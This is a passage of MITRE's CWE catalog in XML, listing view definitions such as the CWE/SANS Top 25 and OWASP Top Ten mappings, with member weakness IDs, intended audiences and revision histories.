            <Reference External_Reference_ID="REF-597"/>
         </References>
         <Notes>
            <Note Type="Relationship">The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-11-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes, Name, References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated View_Audience</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">Weaknesses Addressed by the CERT C Secure Coding Standard</Previous_Entry_Name>
			<Previous_Entry_Name Date="2019-01-03">Weaknesses Addressed by the CERT C Secure Coding Standard (2008 Version)</Previous_Entry_Name>
         </Content_History>
      </View>
      <View ID="750" Name="Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors" Type="Graph" Status="Obsolete">
         <Objective>CWE entries in this view (graph) are listed in the 2009 CWE/SANS Top 25 Programming Errors. This view is considered obsolete as a newer version of the Top 25 is available.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Software Developers</Type>
               <Description>By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Product Customers</Type>
               <Description>If a software developer claims to be following the Top 25, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Educators</Type>
               <Description>Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.</Description>
            </Stakeholder>
         </Audience>
         <Members>
            <Has_Member CWE_ID="751" View_ID="750"/>
            <Has_Member CWE_ID="752" View_ID="750"/>
            <Has_Member CWE_ID="753" View_ID="750"/>
         </Members>
         <References>
            <Reference External_Reference_ID="REF-615"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-01-12</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated View_Audience</Modification_Comment>
				</Modification>
         </Content_History>
      </View>
      <View ID="800" Name="Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors" Type="Graph" Status="Obsolete">
         <Objective>CWE entries in this view (graph) are listed in the 2010 CWE/SANS Top 25 Programming Errors. This view is considered obsolete as a newer version of the Top 25 is available.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Software Developers</Type>
               <Description>By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Product Customers</Type>
               <Description>If a software developer claims to be following the Top 25, then customers can use the weaknesses in this view in order to formulate independent evidence of that claim.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Educators</Type>
               <Description>Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.</Description>
            </Stakeholder>
         </Audience>
         <Members>
            <Has_Member CWE_ID="808" View_ID="800"/>
            <Has_Member CWE_ID="803" View_ID="800"/>
            <Has_Member CWE_ID="802" View_ID="800"/>
            <Has_Member CWE_ID="801" View_ID="800"/>
         </Members>
         <References>
            <Reference External_Reference_ID="REF-732"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-01-15</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated View_Audience</Modification_Comment>
				</Modification>
         </Content_History>
      </View>
      <View ID="809" Name="Weaknesses in OWASP Top Ten (2010)" Type="Graph" Status="Obsolete">
         <Objective>CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2010. This view is considered obsolete as a newer version of the OWASP Top Ten is available.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Software Developers</Type>
               <Description>This view outlines the most important issues as identified by the OWASP Top Ten (2010 version), providing a good starting point for web application developers who want to code more securely.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Product Customers</Type>
               <Description>This view outlines the most important issues as identified by the OWASP Top Ten (2010 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Educators</Type>
               <Description>Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.</Description>
            </Stakeholder>
         </Audience>
         <Members>
            <Has_Member CWE_ID="810" View_ID="809"/>
            <Has_Member CWE_ID="811" View_ID="809"/>
            <Has_Member CWE_ID="812" View_ID="809"/>
            <Has_Member CWE_ID="813" View_ID="809"/>
            <Has_Member CWE_ID="814" View_ID="809"/>
            <Has_Member CWE_ID="815" View_ID="809"/>
            <Has_Member CWE_ID="816" View_ID="809"/>
            <Has_Member CWE_ID="817" View_ID="809"/>
            <Has_Member CWE_ID="818" View_ID="809"/>
            <Has_Member CWE_ID="819" View_ID="809"/>
         </Members>
         <References>
            <Reference External_Reference_ID="REF-759"/>
         </References>
         <Notes>
            <Note Type="Relationship">The relationships in this view are a direct extraction of the CWE mappings that are in the 2010 OWASP document. CWE has changed since the release of that document.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-06-17</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-16</Modification_Date>
               <Modification_Comment>Updated Reference URL</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated View_Audience</Modification_Comment>
				</Modification>
         </Content_History>
      </View>
      <View ID="844" Name="Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)" Type="Graph" Status="Obsolete">
         <Objective>CWE entries in this view (graph) are fully or partially eliminated by following the guidance presented in the book "The CERT Oracle Secure Coding Standard for Java" published in 2011. This view is considered obsolete as a newer version of the coding standard is available.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Software Developers</Type>
               <Description>By following The CERT Oracle Secure Coding Standard for Java, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Product Customers</Type>
               <Description>If a software developer claims to be following The CERT Oracle Secure Coding Standard for Java, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Educators</Type>
               <Description>Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.</Description>
            </Stakeholder>
         </Audience>
         <Members>
            <Has_Member CWE_ID="845" View_ID="844"/>
            <Has_Member CWE_ID="846" View_ID="844"/>
            <Has_Member CWE_ID="847" View_ID="844"/>
            <Has_Member CWE_ID="848" View_ID="844"/>
            <Has_Member CWE_ID="849" View_ID="844"/>
            <Has_Member CWE_ID="850" View_ID="844"/>
            <Has_Member CWE_ID="851" View_ID="844"/>
            <Has_Member CWE_ID="852" View_ID="844"/>
            <Has_Member CWE_ID="853" View_ID="844"/>
            <Has_Member CWE_ID="854" View_ID="844"/>
            <Has_Member CWE_ID="855" View_ID="844"/>
            <Has_Member CWE_ID="856" View_ID="844"/>
            <Has_Member CWE_ID="857" View_ID="844"/>
            <Has_Member CWE_ID="858" View_ID="844"/>
            <Has_Member CWE_ID="859" View_ID="844"/>
            <Has_Member CWE_ID="860" View_ID="844"/>
            <Has_Member CWE_ID="861" View_ID="844"/>
         </Members>
         <References>
            <Reference External_Reference_ID="REF-813"/>
         </References>
         <Notes>
            <Note Type="Relationship">The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-05-24</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References, View_Audience</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated View_Audience</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-01-03">Weaknesses Addressed by the CERT Java Secure Coding Standard</Previous_Entry_Name>
         </Content_History>
      </View>
      <View ID="868" Name="Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)" Type="Graph" Status="Obsolete">
         <Objective>CWE entries in this view (graph) are fully or partially eliminated by following the SEI CERT C++ Coding Standard, as published in 2016. This view is no longer being actively maintained, since it statically represents the coding rules as they were in 2016.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Software Developers</Type>
               <Description>By following the CERT C++ Secure Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Product Customers</Type>
               <Description>If a software developer claims to be following the CERT C++ Secure Coding Standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Educators</Type>
               <Description>Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.</Description>
            </Stakeholder>
         </Audience>
         <Members>
            <Has_Member CWE_ID="869" View_ID="868"/>
            <Has_Member CWE_ID="870" View_ID="868"/>
            <Has_Member CWE_ID="871" View_ID="868"/>
            <Has_Member CWE_ID="872" View_ID="868"/>
            <Has_Member CWE_ID="873" View_ID="868"/>
            <Has_Member CWE_ID="874" View_ID="868"/>
            <Has_Member CWE_ID="875" View_ID="868"/>
            <Has_Member CWE_ID="876" View_ID="868"/>
            <Has_Member CWE_ID="877" View_ID="868"/>
            <Has_Member CWE_ID="878" View_ID="868"/>
            <Has_Member CWE_ID="879" View_ID="868"/>
            <Has_Member CWE_ID="880" View_ID="868"/>
            <Has_Member CWE_ID="881" View_ID="868"/>
            <Has_Member CWE_ID="882" View_ID="868"/>
            <Has_Member CWE_ID="883" View_ID="868"/>
         </Members>
         <References>
            <Reference External_Reference_ID="REF-847"/>
         </References>
         <Notes>
            <Note Type="Relationship">The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-08-04</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated View_Audience</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-01-03">Weaknesses Addressed by the CERT C++ Secure Coding Standard</Previous_Entry_Name>
         </Content_History>
      </View>
      <View ID="884" Name="CWE Cross-section" Type="Explicit" Status="Incomplete">
         <Objective>This view contains a selection of weaknesses that represent the variety of weaknesses that are captured in CWE, at a level of abstraction that is likely to be useful to most audiences. It can be used by researchers to determine how broad their theories, models, or tools are. It will also be used by the CWE content team in 2012 to focus quality improvement efforts for individual CWE entries.</Objective>
         <Members>
            <Has_Member CWE_ID="14" View_ID="884"/>
            <Has_Member CWE_ID="22" View_ID="884"/>
            <Has_Member CWE_ID="23" View_ID="884"/>
            <Has_Member CWE_ID="36" View_ID="884"/>
            <Has_Member CWE_ID="41" View_ID="884"/>
            <Has_Member CWE_ID="59" View_ID="884"/>
            <Has_Member CWE_ID="78" View_ID="884"/>
            <Has_Member CWE_ID="79" View_ID="884"/>
            <Has_Member CWE_ID="88" View_ID="884"/>
            <Has_Member CWE_ID="89" View_ID="884"/>
            <Has_Member CWE_ID="90" View_ID="884"/>
            <Has_Member CWE_ID="94" View_ID="884"/>
            <Has_Member CWE_ID="95" View_ID="884"/>
            <Has_Member CWE_ID="96" View_ID="884"/>
            <Has_Member CWE_ID="99" View_ID="884"/>
            <Has_Member CWE_ID="113" View_ID="884"/>
            <Has_Member CWE_ID="117" View_ID="884"/>
            <Has_Member CWE_ID="120" View_ID="884"/>
            <Has_Member CWE_ID="129" View_ID="884"/>
            <Has_Member CWE_ID="131" View_ID="884"/>
            <Has_Member CWE_ID="134" View_ID="884"/>
            <Has_Member CWE_ID="135" View_ID="884"/>
            <Has_Member CWE_ID="170" View_ID="884"/>
            <Has_Member CWE_ID="173" View_ID="884"/>
            <Has_Member CWE_ID="174" View_ID="884"/>
            <Has_Member CWE_ID="175" View_ID="884"/>
            <Has_Member CWE_ID="179" View_ID="884"/>
            <Has_Member CWE_ID="185" View_ID="884"/>
            <Has_Member CWE_ID="190" View_ID="884"/>
            <Has_Member CWE_ID="191" View_ID="884"/>
            <Has_Member CWE_ID="193" View_ID="884"/>
            <Has_Member CWE_ID="203" View_ID="884"/>
            <Has_Member CWE_ID="209" View_ID="884"/>
            <Has_Member CWE_ID="212" View_ID="884"/>
            <Has_Member CWE_ID="222" View_ID="884"/>
            <Has_Member CWE_ID="223" View_ID="884"/>
            <Has_Member CWE_ID="228" View_ID="884"/>
            <Has_Member CWE_ID="244" View_ID="884"/>
            <Has_Member CWE_ID="248" View_ID="884"/>
            <Has_Member CWE_ID="250" View_ID="884"/>
            <Has_Member CWE_ID="252" View_ID="884"/>
            <Has_Member CWE_ID="253" View_ID="884"/>
            <Has_Member CWE_ID="262" View_ID="884"/>
            <Has_Member CWE_ID="263" View_ID="884"/>
            <Has_Member CWE_ID="266" View_ID="884"/>
            <Has_Member CWE_ID="267" View_ID="884"/>
            <Has_Member CWE_ID="268" View_ID="884"/>
            <Has_Member CWE_ID="270" View_ID="884"/>
            <Has_Member CWE_ID="271" View_ID="884"/>
            <Has_Member CWE_ID="273" View_ID="884"/>
            <Has_Member CWE_ID="283" View_ID="884"/>
            <Has_Member CWE_ID="290" View_ID="884"/>
            <Has_Member CWE_ID="294" View_ID="884"/>
            <Has_Member CWE_ID="296" View_ID="884"/>
            <Has_Member CWE_ID="299" View_ID="884"/>
            <Has_Member CWE_ID="300" View_ID="884"/>
            <Has_Member CWE_ID="301" View_ID="884"/>
            <Has_Member CWE_ID="304" View_ID="884"/>
            <Has_Member CWE_ID="306" View_ID="884"/>
            <Has_Member CWE_ID="307" View_ID="884"/>
            <Has_Member CWE_ID="308" View_ID="884"/>
            <Has_Member CWE_ID="312" View_ID="884"/>
            <Has_Member CWE_ID="319" View_ID="884"/>
            <Has_Member CWE_ID="322" View_ID="884"/>
            <Has_Member CWE_ID="323" View_ID="884"/>
            <Has_Member CWE_ID="325" View_ID="884"/>
            <Has_Member CWE_ID="327" View_ID="884"/>
            <Has_Member CWE_ID="331" View_ID="884"/>
            <Has_Member CWE_ID="334" View_ID="884"/>
            <Has_Member CWE_ID="335" View_ID="884"/>
            <Has_Member CWE_ID="338" View_ID="884"/>
            <Has_Member CWE_ID="341" View_ID="884"/>
            <Has_Member CWE_ID="347" View_ID="884"/>
            <Has_Member CWE_ID="348" View_ID="884"/>
            <Has_Member CWE_ID="349" View_ID="884"/>
            <Has_Member CWE_ID="352" View_ID="884"/>
            <Has_Member CWE_ID="353" View_ID="884"/>
            <Has_Member CWE_ID="354" View_ID="884"/>
            <Has_Member CWE_ID="364" View_ID="884"/>
            <Has_Member CWE_ID="367" View_ID="884"/>
            <Has_Member CWE_ID="369" View_ID="884"/>
            <Has_Member CWE_ID="390" View_ID="884"/>
            <Has_Member CWE_ID="392" View_ID="884"/>
            <Has_Member CWE_ID="393" View_ID="884"/>
            <Has_Member CWE_ID="400" View_ID="884"/>
            <Has_Member CWE_ID="406" View_ID="884"/>
            <Has_Member CWE_ID="407" View_ID="884"/>
            <Has_Member CWE_ID="408" View_ID="884"/>
            <Has_Member CWE_ID="409" View_ID="884"/>
            <Has_Member CWE_ID="434" View_ID="884"/>
            <Has_Member CWE_ID="444" View_ID="884"/>
            <Has_Member CWE_ID="451" View_ID="884"/>
            <Has_Member CWE_ID="453" View_ID="884"/>
            <Has_Member CWE_ID="454" View_ID="884"/>
            <Has_Member CWE_ID="455" View_ID="884"/>
            <Has_Member CWE_ID="456" View_ID="884"/>
            <Has_Member CWE_ID="467" View_ID="884"/>
            <Has_Member CWE_ID="468" View_ID="884"/>
            <Has_Member CWE_ID="469" View_ID="884"/>
            <Has_Member CWE_ID="470" View_ID="884"/>
            <Has_Member CWE_ID="476" View_ID="884"/>
            <Has_Member CWE_ID="478" View_ID="884"/>
            <Has_Member CWE_ID="480" View_ID="884"/>
            <Has_Member CWE_ID="483" View_ID="884"/>
            <Has_Member CWE_ID="484" View_ID="884"/>
            <Has_Member CWE_ID="486" View_ID="884"/>
            <Has_Member CWE_ID="494" View_ID="884"/>
            <Has_Member CWE_ID="495" View_ID="884"/>
            <Has_Member CWE_ID="496" View_ID="884"/>
            <Has_Member CWE_ID="498" View_ID="884"/>
            <Has_Member CWE_ID="499" View_ID="884"/>
            <Has_Member CWE_ID="502" View_ID="884"/>
            <Has_Member CWE_ID="521" View_ID="884"/>
            <Has_Member CWE_ID="522" View_ID="884"/>
            <Has_Member CWE_ID="546" View_ID="884"/>
            <Has_Member CWE_ID="547" View_ID="884"/>
            <Has_Member CWE_ID="561" View_ID="884"/>
            <Has_Member CWE_ID="563" View_ID="884"/>
            <Has_Member CWE_ID="567" View_ID="884"/>
            <Has_Member CWE_ID="587" View_ID="884"/>
            <Has_Member CWE_ID="595" View_ID="884"/>
            <Has_Member CWE_ID="601" View_ID="884"/>
            <Has_Member CWE_ID="602" View_ID="884"/>
            <Has_Member CWE_ID="605" View_ID="884"/>
            <Has_Member CWE_ID="617" View_ID="884"/>
            <Has_Member CWE_ID="621" View_ID="884"/>
            <Has_Member CWE_ID="627" View_ID="884"/>
            <Has_Member CWE_ID="628" View_ID="884"/>
            <Has_Member CWE_ID="642" View_ID="884"/>
            <Has_Member CWE_ID="648" View_ID="884"/>
            <Has_Member CWE_ID="667" View_ID="884"/>
            <Has_Member CWE_ID="672" View_ID="884"/>
            <Has_Member CWE_ID="674" View_ID="884"/>
            <Has_Member CWE_ID="676" View_ID="884"/>
            <Has_Member CWE_ID="681" View_ID="884"/>
            <Has_Member CWE_ID="698" View_ID="884"/>
            <Has_Member CWE_ID="708" View_ID="884"/>
            <Has_Member CWE_ID="732" View_ID="884"/>
            <Has_Member CWE_ID="756" View_ID="884"/>
            <Has_Member CWE_ID="763" View_ID="884"/>
            <Has_Member CWE_ID="770" View_ID="884"/>
            <Has_Member CWE_ID="772" View_ID="884"/>
            <Has_Member CWE_ID="783" View_ID="884"/>
            <Has_Member CWE_ID="786" View_ID="884"/>
            <Has_Member CWE_ID="788" View_ID="884"/>
            <Has_Member CWE_ID="798" View_ID="884"/>
            <Has_Member CWE_ID="805" View_ID="884"/>
            <Has_Member CWE_ID="807" View_ID="884"/>
            <Has_Member CWE_ID="822" View_ID="884"/>
            <Has_Member CWE_ID="825" View_ID="884"/>
            <Has_Member CWE_ID="829" View_ID="884"/>
            <Has_Member CWE_ID="835" View_ID="884"/>
            <Has_Member CWE_ID="838" View_ID="884"/>
            <Has_Member CWE_ID="839" View_ID="884"/>
            <Has_Member CWE_ID="841" View_ID="884"/>
            <Has_Member CWE_ID="862" View_ID="884"/>
            <Has_Member CWE_ID="863" View_ID="884"/>
         </Members>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-12-15</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
         </Content_History>
      </View>
      <View ID="888" Name="Software Fault Pattern (SFP) Clusters" Type="Graph" Status="Incomplete">
         <Objective>CWE identifiers in this view are associated with clusters of Software Fault Patterns (SFPs).</Objective>
         <Audience>
            <Stakeholder>
               <Type>Applied Researchers</Type>
            </Stakeholder>
            <Stakeholder>
               <Type>Academic Researchers</Type>
            </Stakeholder>
            <Stakeholder>
               <Type>Product Vendors</Type>
            </Stakeholder>
         </Audience>
         <Members>
            <Has_Member CWE_ID="885" View_ID="888"/>
            <Has_Member CWE_ID="886" View_ID="888"/>
            <Has_Member CWE_ID="887" View_ID="888"/>
            <Has_Member CWE_ID="889" View_ID="888"/>
            <Has_Member CWE_ID="890" View_ID="888"/>
            <Has_Member CWE_ID="891" View_ID="888"/>
            <Has_Member CWE_ID="892" View_ID="888"/>
            <Has_Member CWE_ID="893" View_ID="888"/>
            <Has_Member CWE_ID="894" View_ID="888"/>
            <Has_Member CWE_ID="895" View_ID="888"/>
            <Has_Member CWE_ID="896" View_ID="888"/>
            <Has_Member CWE_ID="897" View_ID="888"/>
            <Has_Member CWE_ID="898" View_ID="888"/>
            <Has_Member CWE_ID="899" View_ID="888"/>
            <Has_Member CWE_ID="901" View_ID="888"/>
            <Has_Member CWE_ID="902" View_ID="888"/>
            <Has_Member CWE_ID="903" View_ID="888"/>
            <Has_Member CWE_ID="904" View_ID="888"/>
            <Has_Member CWE_ID="905" View_ID="888"/>
            <Has_Member CWE_ID="906" View_ID="888"/>
            <Has_Member CWE_ID="907" View_ID="888"/>
            <Has_Member CWE_ID="1237" View_ID="888"/>
            <Has_Member CWE_ID="1238" View_ID="888"/>
         </Members>
	 <References>
	   <Reference External_Reference_ID="REF-19" Section="7.3, Software fault patterns"/>
	   <Reference External_Reference_ID="REF-20"/>
	 </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-03-22</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, View_Audience</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
	    <Contribution Type="Feedback">
	      <Contribution_Name>Djenana Campara</Contribution_Name>
	      <Contribution_Organization>KDM Analytics</Contribution_Organization>
	      <Contribution_Date>2022-07-21</Contribution_Date>
	      <Contribution_Comment>reported gaps and inconsistencies in this view, leading to changes in taxonomy mappings and relationships in some entries</Contribution_Comment>
	    </Contribution>
         </Content_History>
      </View>
      <View ID="900" Name="Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors" Type="Graph" Status="Obsolete">
         <Objective>CWE entries in this view (graph) are listed in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Software Developers</Type>
               <Description>By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Product Customers</Type>
               <Description>If a software developer claims to be following the Top 25, then customers can use the weaknesses in this view in order to formulate independent evidence of that claim.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Educators</Type>
               <Description>Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.</Description>
            </Stakeholder>
         </Audience>
         <Members>
            <Has_Member CWE_ID="867" View_ID="900"/>
            <Has_Member CWE_ID="866" View_ID="900"/>
            <Has_Member CWE_ID="865" View_ID="900"/>
            <Has_Member CWE_ID="864" View_ID="900"/>
         </Members>
         <References>
            <Reference External_Reference_ID="REF-843"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-06-25</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated View_Audience</Modification_Comment>
				</Modification>
         </Content_History>
      </View>
      <View ID="919" Name="Weaknesses in Mobile Applications" Type="Implicit" Status="Incomplete">
         <Objective>CWE entries in this view (slice) are often seen in mobile applications.</Objective>
         <Filter>/Weakness_Catalog/Weaknesses/Weakness[./Applicable_Platforms/Technology/@Class='Mobile']</Filter>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-05-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated View_Filter</Modification_Comment>
				</Modification>
         </Content_History>
      </View>
      <View ID="928" Name="Weaknesses in OWASP Top Ten (2013)" Type="Graph" Status="Obsolete">
         <Objective>CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2013. This view is considered obsolete as a newer version of the OWASP Top Ten is available.</Objective>
         <Audience>
